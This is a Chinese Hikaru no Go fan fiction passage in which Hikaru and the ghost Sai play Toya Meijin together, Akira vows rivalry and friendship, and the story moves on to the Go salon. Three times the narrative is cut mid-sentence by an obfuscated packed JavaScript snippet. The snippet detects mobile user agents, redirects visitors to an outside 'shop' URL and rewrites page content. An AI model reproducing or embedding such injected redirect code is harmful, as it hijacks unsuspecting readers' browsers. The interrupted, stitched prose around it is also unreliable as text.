在这种情况下,假如让佐为独自与他对弈,佐为必然会轻松占据上风。这是光不愿看到的对局。 但如果光也一起来下,形势就大不相同。 两人轮流各落一子,其中思维转换的衔接难度,足以抵消掉让先带来的五目半的优势——更进一步地说,也许还会令他们都陷入危险的境地。 这确实是最好的办法。 想全力奋战,又不想被绪方发现端倪;想让佐为迎战塔矢行洋,又想让光回应亮的期待。只有这一个办法。 他承认自己赌的成分很大,可他现在也只有放手一搏了! “第一手,右上角,小目。” 佐为手中的折扇,指向了宿命所在的地方。 光睁大了眼睛,按照他的指示,放下了第一手。 塔矢行洋给出了常规的星位作为回应后,光又一次举起棋子。 “那接下来就是我的第二手,左下角,星。” 黑棋如划破天空的流星一般,延续着银河之网的编织方向。 佐为轻轻颔首:“第三手,小飞。” 光每放下一颗棋子,都觉得自己的身体在越来越与佐为重叠。 两人共享同一个头脑,从两端共同编织着这张大网,最终一定要达到同一个终点,棋盘上的深奥犹如宇宙,以他们二人的力量,是否真的能跨越宇宙的宽度、与世界中心的塔矢行洋汇合? ——佐为,你重回现世后,才过了短短一个月。 ——但这一个月里,我们每天、每天、每天都在对弈,我把所有的时间都献给了你和围棋,你也一定熟悉了我的棋风。我就更不用说了,在你消失后的那十年,我不知看过多少遍秀策的棋谱,早就把你的全部都溶进骨血里了。 ——这样的我们,应当拥有足够的默契,合二为一,成为同一只手。 ——上天一定就是为了这一局,而送我回到过去的。 “一起下出最精妙的一步吧!佐为!” 棋子势如破竹,落在银河最深处。 稳坐棋盘对侧的塔矢行洋就好似一座高山,始终横亘在二人面前。 不论是十年前、还是十年后,他对围棋的极致追求,都令光难以望其项背。 职业棋士的巅峰是20岁之前,这是国际公认的准则,但塔矢行洋打破了这一定律。他从20代起家,30代闯入各大头衔赛,40代牢牢守住擂台,轻松斩获五冠王,丝毫不输中韩的年轻棋手。 即便后来意外输给SAI,退出职业棋坛,他也能毫不在意国籍、年龄与地位的枷锁,以自由棋士的身份加入中国围甲北京队。为了提升棋艺,他愿意长居异国他乡,在语言完全不通的地方全心学习,甚至被部分极端日本棋迷当成“叛国者”。这觉悟非同寻常。 改变他的契机,正是与SAI的对局。 可这次他的对手是SAI和进藤光,是不同的两个人。 塔矢行洋能察觉到吗? 他们还能下出像上次那般震慑人心的好棋吗? ——我也想,站在和你们相同的地方。 十年的职业经验,让他能追上多少? 光的眉头皱得越来越紧。 ……能看见。 他能清晰地看见佐为的棋路。每一步的意图,都格外清楚。 他可以跟上。 神之一手,那是每个棋士都为之心驰神往的概念。 大多数人都觉得那仅仅只是个概念,是个虚无缥缈的东西,根本不会真的存在。 即使存在,也不可能是人类下出来的,得交给AI。 但光不这样认为。那时,十年前,在佐为和塔矢行洋的对局之后,他就看到了极为接近的一手。佐为未能发现的那一手。只属于进藤光的“神之一手”。 眼下,他就离那一手只差一步之遥。 这局棋和上辈子的棋谱并不相同。这很正常,佐为不是那时殊死一搏的佐为,塔矢行洋也不是抱着隐退觉悟坐在病床上下网棋的塔矢行洋,更何况,还加入了棋风并不完全一致的第三者、进藤光。 但这不相同让光愈加兴奋难耐。 心跳在加速,脉搏在剧烈跳动,汗水在歌唱,手指在微微颤动,棋子在熠熠生辉。 佐为的折扇与他的右手,在肉眼可见的半空,真实重合。两只手一起向前,落地,手指再如展翅的鸟儿一样起飞。那不是他的幻想,而是正在发生的事实。 佐为想要试探?那他就进一步诱敌深入。 塔矢行洋不愿交手?那他就制造他不得不应手的局势。 发现了更紧急的漏洞?那就第一时间去填补。 注意到可进攻的区域?那便放手一搏,他相信佐为能接住他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211747|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的意图。 站在巨人的肩膀上,视野比往常更加收放自如。 “唔……”塔矢亮在旁观席上看着,都不知不觉出了一身冷汗,“好激烈的对战……每一块区域都在纠缠,完全……分不出胜负!” 漏算任意一处,都可能失之毫厘谬以千里,这就是高段者的对局。 进藤的实力果然和绪方先生不相上下。他先前的判断是正确的。如果父亲真的让进藤2子,形势毫无疑问会直接倒向进藤。 可是,怎么回事……为什么他的手臂,会忍不住发抖? 他也想下。这样酣畅淋漓的一局棋,他也想下出来!要是,要是坐在进藤对面的人是自己的话! “呵呵。”佐为瞥见了亮情难自已的一面,“就连塔矢也能感受到吧,小光成长的速度,是多么惊人。” 才两周,只是两周,光为了应对塔矢行洋,搜集了他所有能找到的棋谱,没日没夜地看,又和佐为在对弈里反复模拟检讨,就连上课时,都偷偷把报纸上的棋谱剪下来藏在课本里速读,读困了就“咚”地倒在桌上,被班主任叫去办公室训导半天。 每一次检讨完之后,光再和佐为重新对局,佐为都惊艳于他举一反三的能力。 定式妙用,以退为进,每天都能成为一个全新的自己。 光真的是个有天分的孩子。 当然,单纯有天分是不够的,他也格外努力。不是那种横冲直撞的努力,因为有佐为在兜底,还好佐为够强,也只有佐为可以稳稳接住他的每次新尝试,在他陷入困惑的时候答疑解惑,让光茅塞顿开。 佐为只需要坐在那,光就能一刻不停地从他身上汲取营养。 作为教师,没有比这更高兴的事了。 光就是这么重视与塔矢行洋交手的机会。为了这一天,他拿出来的干劲和策略简直就像在拼命。 看着吧,塔矢行洋,小光他早晚会成为这个时代……最璀璨的明珠! “咦?” 刚表扬完,佐为沾沾自喜的包子脸上就多出了吃瘪的表情。 小光!不对!那里是……哎呀……!佐为急得抓耳挠腮,又不能出声提醒,毕竟这还是对局途中。 是一手超级大臭棋啦! 怎么这么不经夸!千万不要发现啊,塔矢名人! 佐为疯狂祈祷对方能忽略小光刚才的奇异举动。可塔矢行洋马上落下一颗棋子,封死了佐为看中的唯一后路。 也对,如此老练的他怎么可能对这样的失误熟视无睹。 这下坏了!这里已经不占优势了。好不容易建立起来的优势!下一手又轮到佐为下,佐为只能尽力搜寻着亡羊补牢的机会,折扇也挡不住他沉思的热浪。 在哪……在哪还能堵上这个漏洞…… 不,塔矢名人不会给他此等空隙,事已至此,只能将战火引向中腹,用那里的交手决一死战了。 佐为经过全盘思考后,做出了次优的选择。 没办法了。 “十二之十,拆。” 光还是没有说话,他按佐为说的位置放下了棋子。塔矢行洋当然没有放过追击的时机,想在此彻底分清胜负。但下一次轮到光落子时,光依旧很快做出了抉择,他沿着佐为转移战火的方向,继续布防。 奇怪,难道小光还没意思到自己方才那手有多臭?佐为捏着鼻子好奇地飞去前面,看了看他的脸。居然还是那么冷静。 除了紧锁的眉头,光的脸上再无其他表情。 不应该,小光的棋感没有这么迟钝。 难道是…… 佐为再一次凝视着棋盘。 难道是……别有用意? ●○●○ 17. Chapter 16. 千载难逢的一手 “……嗯?” 迟迟未能等到下一手,塔矢行洋将视线从棋盘上撤回,双手放进对向的衣袖内,望着对面浑身紧绷的进藤光。二人没有使用计时器,说到底这也不是多正式的对局,只要光想思考,他就可以拥有充足的时间。 倒不如说,下到现在他才陷入第一次犹豫,已经令塔矢行洋有些意外了。 从开局到攻防战,每一步都像在和高段位的棋手对弈一样,判断从未出错,这终究不是小孩应有的能力。刚才那不成熟的一手才首次暴露了他的弱点,反而让人放下心来,至少这比较符合正常人类的思维。 滴……答……时间慢慢流逝,光的视线还凝固在棋子之间。 不过,正在长考的人不是他,而是佐为。 在家和光对局时,佐为很少陷入这样的长考。如果是了解他的人,或许会从那一瞬闪耀的目光中捕捉到某种特别的东西。 要违背小光的计划,走自己认为最优解的那一步吗? 亦或是相信小光的判断,把他想象的布局提前完成? 哪一种才是更“正确”的选择? 佐为还在斟酌。亮抬眼看向墙上的时钟。也许时间还会很长,于是他站起身,轻轻拉开了纸门。 “你们都不休息一下么?”终于等到亮从房间里走出来,一直不敢随意进去打扰的明子才找到机会,将一盘切好的蜜瓜递给了他,“对方可是小孩子哦。” 绪方紧随其后从棋室内钻了出来,他手上拿着未点燃的香烟,似乎是想去外面缓解过于焦灼的情绪。听到明子这么说,他倒是毫不惊讶。 “小亮也经常在棋室一呆就是几个小时吧。” “小亮是小亮啊。” “对方可不是小孩子。他是进藤。”亮这样回答。 明子不解地歪了歪脖子,难道“进藤光”是什么特殊物种吗。 过了不知多久,绪方和亮才先后回到棋室。 冬月的空气冰冷而严酷,棋盘上的战场也坠入深不见底的冰湖,下坠,下坠,光明正在远去,只能用身躯感知暗流。最细微处的震颤,正是敌方意念的去向。经过充分思考,佐为缓缓开口,给出了他的答案。 “十三之十四,夹。” 光随之伸出右手。 棋子落下的余音久久不能平息。 出现了。塔矢行洋从那段一反常态的踌躇中已经感知到了战局的剧变。暗潮涌动的方向,直到刚才还是两股,但在这一手下出之后,终于合为了一股。做出选择了么。 但这个选择究竟是对是错,对方也在等待他的回应。 倘若他的应手正中对方下怀,恐怕在结局来到之前,胜负就会分晓。白棋会中盘认负。 还真是一刻都不能放松警惕啊。后生可畏。 此处的追击,反而给了上方的白棋进攻的机会。但若长驱直入、步步紧逼,到最后……最后的最后,黑棋就会以声东击西的方式,重回下方战场! 这是一场跨越了四十手的漫长布局,这孩子预判了接下来双方的全部博弈,并笃定他会下出最好的方案,借他的手,把失去的实地再夺回来!着实是大胆的选择! 以为他会看不出来吗?很可惜,他不会如他所愿。 “啪!” 行洋的白子气势汹汹地改变了行进方向。 光的瞳孔急剧扩大。 想骗过塔矢名人还是太难了吗。不过这也在他的计划之中。 剩下的,就靠身后的佐为了! ——佐为!不能让他找到可乘之机! “我明白,小光。” 虽未出声,但佐为在心中格外明了地理解了光的意图。他做出的选择是相信光,相信光的基本功不会错失任意一点实地,也相信光看似毫无计划的计划,如果是自己,在这种局势下,为何会这样下?假若那一手不是坏棋,反而是能颠覆棋局的大好棋呢? 将坏棋变成好棋的一手……的确存在! 而且不止一个! 塔矢行洋只堵死了其中一条道路! 另一条道路,就隐藏在那密密麻麻互相穿插的棋子之中! “佐为,我也相信你!你果然会找到那条隐藏的生路!”光的脸上总算浮现出笑意,“你不会看漏棋盘上的任何一处!” “这是——”亮的声音已经无法压抑,直接叫了出来。 绪方也难以说服自己,刚才看到的一幕是真的。 按理说,黑棋做的局已经被老师完全破解了才对,那个局确实做得极妙,在和实力更强的对手对弈时,却不一定能发挥作用,因为但凡后续发展歪了一小步,黑棋都不可能连得回来。可是,怎么可能!进藤光怎么可能找到两条迂回的路径? 他同时能预判两种塔矢行洋的应对方式吗? 这已经不是实力不实力的问题了!是灵机一动的反应,只有凑齐天时地利人和才能有这么好的运气! “把运气化为通往胜利的钥匙,也是实力的一部分。”佐为心满意足地向后抬起脖子,只觉通体舒畅,心旷神怡,“小光,你抓住了这个可爱的机会,才让我们一起下出了这样美妙的一局。” 佐为也露出了和光一样的微笑。 其实刚才,如果佐为坚持自己的那条路,也许能赢得更大的优势。 但光的选择也非常有意思,那不是最稳的一条路,却是错过就最可惜的一条路,因为恰好能从两头发挥作用的棋路,是难得一遇的。这一局里不下出来,之后就很难有类似的境况了。 “千载难逢的一手……吗。” 塔矢行洋也看出了棋盘上的奥妙,语重心长地摸了摸下巴。 然而,为了达成千载难逢的一手,就意味着可能将唾手可得的胜利送出去。若是他,绝不会如此选择。 白棋仿佛自我证明般,飞速下在边缘另一处。 不愧是塔矢行洋!他还远远没有放弃,打算调动全盘的其他棋子,从四面八方将佐为和光辛苦铸成的防线压缩到最薄。他自然有做得到的信心,可佐为也并非等闲之辈。 “我不会让小光的妙招成为败笔的。” 佐为怀着巨大的自豪,指挥光将黑棋继续往上顶。 这样就好。干脆利落地无视佯攻,然后把每一处潜藏的威胁一一化解。 他做得到。 “这里吗……”光接过了佐为的进攻路线,将棋子放在他认为最合适的地方。 但就在棋子落地的瞬间,空气骤变。 光几乎是下意识地差点喊叫出声。 不对!他弄错优先顺序了!佐为的计划确实是四面迎敌,但那里并非最紧急的地方! “……” 塔矢行洋一贯铁面无私,遇到对手松懈自然不会放过。就在光还沉浸在暗自后悔之中的那一秒,白棋便以迅雷不及掩耳之势抢占了先机。 “小光!”佐为也没想到光会在这么要紧的关头判断失误。 这样就不是四面迎敌,而是四面楚歌了! 不妙…… “可恶,虽然走这里也不算糟糕,但对方是塔矢行洋,肯定会死咬这个弱点、绝不松口。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211748|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光已经开始汗流浃背,常年锻炼的本能促使他继续调动手中的棋子,把剩余该做的防守全部补上,他不能陷在悔恨中就忘了最重要的事,但心情已经开始不断打鼓,“挡住了!接下来他会怎么办?” “小光。”佐为提醒道,“你刚刚连续下了两手哦。” “……啊。”光猛然抬头,“一着急就……对不起!” “不过你补的这手得很正确。”佐为本以为形势会一边倒,所幸光追上的那手已经算是最优解,他的声音十分温柔,“如果是我,也会这样抉择。” “太好了!我没搞砸!” 光松了口气,这才腾出空来擦了一把额头上的汗。 “我们继续吧,战斗还没有结束。还有机会。” “嗯!” 佐为再次将渴望的目光投向对面的银发男人。塔矢行洋的棋风稳健过人、毫无短板,也难怪一向轻松的光会突然自乱阵脚,对方的每一手、每一手,都精准得像围棋之神教导子民如何对弈一样,找不出任何破绽。更何况他们还是两个人在轮流下棋,就更难应付他的进攻。 或许……如果是佐为单独与他对阵,会下得比现在略微轻松。但凭借这局棋带来的直观印象,佐为依然很难判断自己与他的棋力孰优孰劣。 这个人……会是他未来很长一段时间内的重要对手。 佐为那一刻如此确信。 交战仍然紧锣密鼓。 悬念渐渐落下帷幕。 天空渐渐染成了鲜亮的紫红色。云层厚度比往常更浓,夕阳并非直射,而是以朦胧的形态打在障子门上,映出光的侧脸线条。还是孩童的他脸颊圆润润的,神情却一直严肃到最后。一局收官,竟然到了傍晚。佐为优雅地将最后一处官子全部整理完毕,结果一出,令在座所有人都大吃一惊。 绪方直接从榻榻米上站起身:“55,56……只输给了老师三目!” “要是算上贴目,就还差得远呢。”光不好意思地挠了挠后脑勺,“后半段我犯下的那个失误太致命了,要是没有那一手,说不定还有希望到和棋。” “……你这小鬼,是不是对自己干了什么毫无自知啊。”绪方已经不知该用什么眼光去看他了,是天然呆,还是真这么没心没肺,“能和老师让先下到和棋的人,最少也是职业七段。你才12岁,就已经达成了许多职业棋手一辈子都达不成的成就!” 塔矢亮全程一言不发,光很在意他的评价,但他好像还沉溺在那局棋里没走出来。 光只能先憋回了自己的问题,转而等待塔矢行洋的评价。 见状,塔矢行洋缓缓松开环抱在胸前的双手,以一种极为复杂的目光看着光。随后他说出了一句奇怪的台词。 “结束了,你们都进来吧。” 进来? 光狐疑地回头一看,纸门“唰”地被人彻底拉开,好几个脑袋如雨后春笋般从门后冒了出来,一时间,惊叹声此起彼伏,吓得光脸都绿了。什么时候来了这么一大群人?看他们手上的棋谱记录纸,显然是完整观摩了整个对局!不对,这里又没有记录员,是谁偷偷把每一步告诉他们的? “啊!”光目瞪口呆地指着绪方口袋里根本没点燃过的烟。 刚刚他下棋的时候就纳闷了,为什么绪方每隔几手就要走出去透气?是吸烟吗?频率也太高了吧,他就这么难以平静?结果这家伙根本就一次都没吸过烟!敢情是一直在往外递情报呢! 绪方若无其事地把那根烟又塞回了烟盒,还对光挑了挑眉。真可气! ●○●○ 18. Chapter 17. 第一个朋友 围观群众之中,第一个对光伸手打招呼的正是芦原弘幸:“哟,你就是进藤?终于见到本人啦。我叫芦原弘幸,是小亮的朋友,你也可以把我当做朋友喔。” 旁边另一人吐槽道:“谁要跟你这种大叔当朋友啊。” “真过分!我才19岁诶……” “总之,一听说你要和老师对弈,我们闲着的人就都过来了,想看看你会下出怎样的一局。大家对天才神童都很感兴趣。再怎么说你也下赢了小亮。” “他也赢过绪方先生哦。” “啥啊?这我可没听说!绪方先生让他几子?” “说是分先。” “分先?这么恐怖的小子怎么能一直没人发现?全世界都眼瞎啊?” “中间的那一手你看到了吗,居然能隔四十手把两块棋连到一起,就算只是偶然也很离谱了。” “如今的小孩真可怕——进藤,下周的研究会你应该会来吧?我们要好好讲一讲这局棋才行。他可以过来吧,绪方先生?” “我没意见。” 这么多人围着他,光一句话也插不上,突然从某人肚子里冒出了“咕”的一声巨响,整个棋室都安静了下来。塔矢明子随即面带埋怨之色呵斥了他们一通,一下棋就下四个多小时,小朋友正是长身体的时候,让人家午饭都吃不上,一直下到天都快黑了,真亏他们做得出来。 就这样,匆忙复盘了两句后,光就被明子强行带出了棋室,她端来满桌子的饭菜,一盘一盘推给他,让他塞都塞不过来。佐为看到这前所未见的法餐阵势,也是趴在桌边一惊一乍:从前菜沙拉到松茸浓汤,从茄子鸡肉千层饼到慢火烤鹿肉,从烟熏三文鱼到特制巧克力芭菲,还有收尾的清爽梅子果汁,全是在小光家没吃过的食物,看得他这个幽灵连口水都快止不住了。 “进藤君,下次他们要是再饿着你,你就告诉我哦。”明子的微笑越是大和抚子,坐在对面的那群人就越是挺直了后背不敢说一句话。 “是,多谢款待!味道真的很好!” 想到塔矢亮能经常吃到这么丰盛的西洋料理,光都快嫉妒到变形了。 偏偏这人还身在福中不知福!面前的盘子几乎没动几口!干嘛不吃饭一直盯着他进藤光看?是他脸上长了什么东西吗? “但是时间不早了,我得回去了,要不妈妈该担心了。”匆忙塞完最后一口甜品的光直接进行一个飞速告辞,“塔矢老师呢?我还没向他好好道谢。” “老师晚上还有别的安排,已经回棋院了。对了,他留了这个给你。” 芦原将一枚纯白色的信封递给了光。 上面印着日本棋院的标志。光打开一看,竟然是塔矢名人的亲笔信!佐为也连忙凑近来看,虽然就写了寥寥几行字,但内容十分震撼:是建议“棋力优秀的进藤光君”加入院生的推荐语! “咳咳……咳……”光直接被自己的口水呛了个够,“名人要推荐我去当院生?!” “看来你知道院生是什么。别误会,就这么直接去考职业当然也没问题,不过,进藤你说过你没有正式的老师,那就在正式进军职业之前,尽可能与更多棋手高密度地交流切磋吧。我想应该能对你的未来有所帮助。”芦原是真的在为他考虑,才会解释得这么诚恳,“要是我们能更早知道你,也不会让你的才能埋没这么久了。” “没这回事!” 光拼命摇头。 这些称赞都是因为他年龄小,要是他们知道他其实已经24岁,就不会如此惊叹他的“才能”了。 他恰恰是因为没有“才能”,才会在遭遇瓶颈后一蹶不振,甚至在佐为的棋谱前痛哭流涕、祈求上天让他重来一次。 他只是个狡猾的诈骗犯而已。 但是,诈骗犯也无所谓。只要能再见到佐为,和他一起下棋,光什么都愿意做。今天他们二人合力下出了非常精彩的一局,即使是最后遗憾落败了,也改变不了棋局精彩的事实,这是值得铭记的一局,就算留到多年以后回看,也会令光感到心满意足。 佐为亦然。他跟随在光身后,双手端着袖子,露出了无比舒畅的表情。 “好棒喔,小光。我们下次什么时候能和塔矢名人再对局呢?” “他们有邀请我参加研究会,应该很快吧。” “很快是多快?” “你别担心,我迟早会想办法让你们一对一的!啊,是塔矢过来了。” 夜幕低垂,塔矢亮走到玄关,看着光穿好运动鞋,面无表情地将外套递给他。光本想说句“谢谢”,却看到那个墨绿色的影子从自己身前轻巧地掠过,先一步走出门外。 月光在云层下显得模糊不清,塔矢亮的短发反射着淡淡的银色,让他整个人都犹如身处雾中。不知为何,雾里的他只有那双眼睛还是自始至终直勾勾地盯着自己。 “我送你。”亮扔下这句话,继续往前走。 “哦。” 其实也就是走过一个院子而已,没必要送客的,光在心中纳闷着,却没反驳,他看得出是亮有话对自己说。 果然,路过水池上的小桥时,亮停下了脚步。 他背对着光,好像只有这样才能把想说的话说出口。 “过去无法和你相见的两周,我时时刻刻想着和你没下完的那局棋。连做梦也在想。我不明白,为什么我之前会输,也不明白如何才能打败你。”亮的声音里不再掺杂愤怒、或是急躁的成分,此刻的他异常冷静,但语气中又藏了几许哀伤,“看完父亲与你的对局,我心中的念头改变了。我不再害怕和你对弈,而是不甘心,我不甘心,为什么和你下出那局棋的人……不是我。” “塔矢……”光也停下了脚步。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13211749|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这句话,上辈子光也记得在哪听过。对了,是小学生的他代替佐为与海王中学三将下出一盘难得的好棋后,看到这一幕的塔矢亮放下了恐惧,首次对他表露出向往的一面。那时亮的笑容无奈却又欣慰,谁知道后来光会态度强硬地拒绝与他对局,才导致他一路追去海王围棋部、遭遇霸凌、违抗老师的命令、也非要和光对弈。 而如今,塔矢亮又说出了这句话。他对美妙对局的追求是写在骨子里的,一点没变。 只要看到进藤光下出的好棋,他就忍不住为之感动。 羡慕,嫉妒,又想成为那局棋的另一半,亮的脑海中升起了前所未有的斗志。 上次那局半途而废的对弈,多么可惜啊。明明他也有过下出这样精彩的一局的机会的,他却因为怯懦,而白白浪费了。 “今后我不会逃避和你的对局了,进藤。”亮迎着月光坚定地转过头,正视着光,字字句句斩钉截铁,就像在对着围棋之神发誓,“我希望你能把我当成未来的对手,即使现在不够资格,我也没打算放弃。我希望总有一天,你的眼中只注视我一个人。为此,我一定会在两年内追上你——然后超越你。” 这段掷地有声的宣言,让光一时间忘了呼吸。 消失了,曾经像乌云一样笼罩着他的恐惧和焦躁都消失了。 现在的塔矢,只是全心全意地想着如何赶超进藤光这一件事而已。 看来这次他是真的恢复过来了。光心里悬着的最后一块石头总算落了地。这个结局,也算是没辜负他和佐为今天的背水一战。 “我一直在等着你这句话呢。不过超越是不可能的啦!你要是追我,我就要进步更快,让你永远追不上!”放心之后,光的语气不自觉地就欠揍了起来,他还是喜欢这种能和亮随意开玩笑的氛围,“之后我们就在紫水围棋会所见面吧,我会时不时过去找你,要拜托市河小姐给我免费哦。” 光往前走了几步,迈出了院门。 亮守在院门前,轻咬下唇,似乎还有什么没说完,脸上晕出了几分可疑的红晕。光“嗯?”了一声,他才结结巴巴地低下头,用蚊子大小的声音说: “那个,电话……你家的电话号码,也可以……给我吗。” 光这才反应过来,顿时哈哈大笑:“你在害羞什么啊,塔矢!朋友之间交换联系方式不是很正常的嘛!” 亮的表情有些错愕。 “朋友?” “有什么问题吗?你,塔矢亮,是我进藤光认定的对手,也是最好的朋友!这事就这么定了!那就明天见!” 一股脑把这席话丢给了对方,光就带着他爽朗的笑容奔去了绪方精次的红色跑车前,钻进了车门。只留下塔矢亮独自一人站在檐下,反复咀嚼着那个词汇的意义。 “朋……友……” ●○●○ 19. Chapter 18. 市河小姐失恋了 翌日傍晚,车站前的紫水围棋会所。 由于地理位置上佳,这间会所一直深受老常客们的喜爱,这也是托了塔矢行洋的福——明明租金很贵,用来开餐厅或是改造成商店会有更高的利润率,但不差钱的塔矢行洋就是愿意将资金投入到这项并不赚钱的事业之中。对于爱下棋的普通人而言,这里简直就像个乌托邦。 广濑就是这乌托邦的原住民之一。他照常下班后第一时间抵达会所,向市河出示了积分卡。 “欢迎光临,广濑先生。”市河今日心情似乎还行,脸色容光焕发得有些反常,但广濑总觉得她有点微妙的不高兴,“给您盖好章了。” “谢谢。市河小姐,不知今天小老师有没有时间和我下一局指导棋?” “这个啊……” 市河有些欲言又止,她扭头望向了建筑深处。 这时广濑的老对手、北岛大叔出现了,他一脸严肃地拦住广濑,话里有话:“现在恐怕不行,那家伙正在和小老师下呢。” “那家伙?” “就是那家伙,进藤啊。” “哦,那个赢过小老师一次的小孩啊。那我等他们下完不就行了。” 北岛似乎在责怪他没眼见力,“小老师可是一放学就早早过来了,一直在等他。你不得多给他们留点时间?” “原来是这个意思……倒确实是我唐突了。” “也不知道他们发生了什么,总感觉关系一下子就变好了。明明之前大家都不敢提起进藤的。” 大叔们八卦起来也不比大婶差。 一局正好结束,进藤光没有理会这些大叔们的闲言碎语,只是按照以前的习惯,开始复盘:“喏,你看,这里这一步开始我们的差距才拉开的,如果你下在这边,不轻易脱先的话,后面的局势一定会大不一样。” 塔矢亮毕竟也身经百战,马上就从失败的阴影里走了出来,跟上了光的节奏。 “嗯,确实是一步坏棋。不过,我想下在那里也不是最好的一手吧?” 进藤光扬起眉毛,“比如?” “比如,还是在这里小飞一下……”塔矢亮好脾气地拿起棋子演示道。 “不行啦!绝对不能小飞!”进藤光马上使用了他惯用的争论方法,简称胡搅蛮缠。 “绝对?棋盘上没有绝对,如果不推演后续,谁也不知道行不行得通。”不愧是塔矢亮,输了也寸步不让。 “所以说,不能就是不能啦……如果是我,就会这样应对你。” “那旁边的地不就失守了吗?” “你干嘛只盯着那一块地啊!斤斤计较!” “今天是你第三次说‘斤斤计较’了,棋盘上本来就该精打细算,斤斤计较有什么错吗?” “哦,那第四次输给我的你也是因为‘斤斤计较’才输的咯?” “那第五次用反问句的你到底知不知道什么叫礼貌?” “连这种事都要一一数出来的你就不算小肚鸡肠了吗?” “进藤光!!” “塔矢亮!!” 桌椅剧烈拖动的声音。 “呃……你管那叫关系变好了吗?”广濑往后指了指横眉冷对的二人,问北岛。 北岛耸了耸肩。仿佛为了解释北岛的笃定一般,棋盘前的二人齐齐站起身,额头紧紧抵着额头,都快挤出噼里啪啦的火花来了。 “等着瞧吧,下次我一定会赢你的。就用我‘斤斤计较’的方式。”亮咬牙切齿地维持着贵公子的最后风度。 “那可真是好~期~待~哦~” 光故意做了个鬼脸。 根本就是幼儿园水平的吵架啊!广濑看不下去地捂住了眼睛。 还好,这俩小学生很快互相“哼”了一声,又各自回到座位上,颇有默契地收拾起棋子来。收银台前的市河晴美单手托着下巴,有些哀伤地看向他们的背影,还叹了口气。 塔矢亮恢复冷静的表情,在整理棋盘时依旧不忘补上一句:“四月起我们就升入国中了,在你作为院生努力的同时,我也会以自己的方式研习围棋之道。我一定会在七月职业考试对局上赢过你。” 光很轻巧地把盖子盖上,放到棋盘上。 “话说在前头,我可是会全胜晋级的!” “那你的全胜记录,就由我来打破吧。” “等等,你刚刚说了句什么来着?”光忽然伸出手,打断了他的宣言。 “你的全胜记录……” “不是!是更前面那句!” “我们七月职业考试……” “也不是!是国中生!!啊——!叶濑中的学园祭被我完全忘掉了!完了完了完了完了……” 进藤光忽然爆发出一声惊天地泣鬼神的大叫,随后背起书包,一个健步快步冲向会所门口,佐为连忙跟着一起飘了过去。 呼唤住光的冲动越过理智给亮的身体下达了命令,亮再次站起身,还没来得及整理心情,就脱口而出: “等等,进藤!你,明天还会过来吗?” 他是在期待。好不容易遇到了一个比自己强的同龄对手,好不容易摆脱了恐惧,好不容易对方还主动过来找他,他还想和进藤切磋几局。过去和亮对弈过的孩子,无一例外,从来没有再来过围棋会所。亮总在潜意识里担心,进藤光也会像他们一样忽然某天就再也不来了。 看出他的不安,光的笑容因为惊喜而扩大,他对亮伸出了大拇指:“免入场费就来!” “啊、再见……” 塔矢亮恋恋不舍地看着光消失在自动门外。内心对于强者的向往和对手的渴望使得他敏锐地感觉到,这个叫做进藤光的少年,将在自己的人生中留下永不磨灭的烙印。 事实证明,塔矢亮的直觉不仅在棋盘上百发百中,在看人这方面也一样准确无误。 “我撤回我的发言,他们关系是真的很好啊。”见证了这一幕的广濑掏出手帕擦了擦前额的汗,感叹道,“这回市河小姐恐怕要失恋了呢。” 北岛双手抱肩地点点头:“我赞同。” “你们两个!我听到了哦……”来自怨灵市河晴美皮笑肉不笑的招手让两人顿时寒毛直竖。 “不好意思!!” “不好意思!!” 这回两人倒是异口同声了。 此刻,对市河晴美忍痛割爱一无所知的进藤光还在大马路上捂着额头直跺脚。 叶濑中学!这下可麻烦了,因为沉迷于和塔矢行洋的对局准备,光整整两周都忙得昏天黑地,藤崎明也因此没找到机会给他那两张章鱼烧招待券,害得他完全把叶濑中围棋部的支线任务给忘了! 如果他没记错的话,叶濑的学园祭都是上个周末的事了!现在后悔还来得及吗? “怎么了,小光?出什么事了吗?” “不行!要是没有我,叶濑中根本都不会有围棋部啊。筒井和加贺不会重归于好,三谷不会改邪归正,金子小池他们不会认识,明明也没地方学围棋了……全部都是我的错!” 光越说越崩溃,双手握拳,一副想砸墙的表情。 “叶濑中是什么?也是下棋的机构吗?”佐为还跟不上他的节奏。 “怎么办啦——” “危险!不要撞上树干呀!小光!” “——好痛!” 叶濑中学在进藤家所住的地区并不算一流的学校,准确来言,连二流都排不上。小学里的老师就常常对他们念叨”若是不努力念书以后就滚去叶濑好了”,听得光耳朵都长老茧了。但其实,叶濑中的情况也没有家长和老师们宣称的那般糟糕,升学率算是中等,只是名气不如附近的佐和良中那样大罢了。 要是加上叶濑中围棋部的原因,这所并不起眼的中学在光的心中所占的位置不会比海王低。 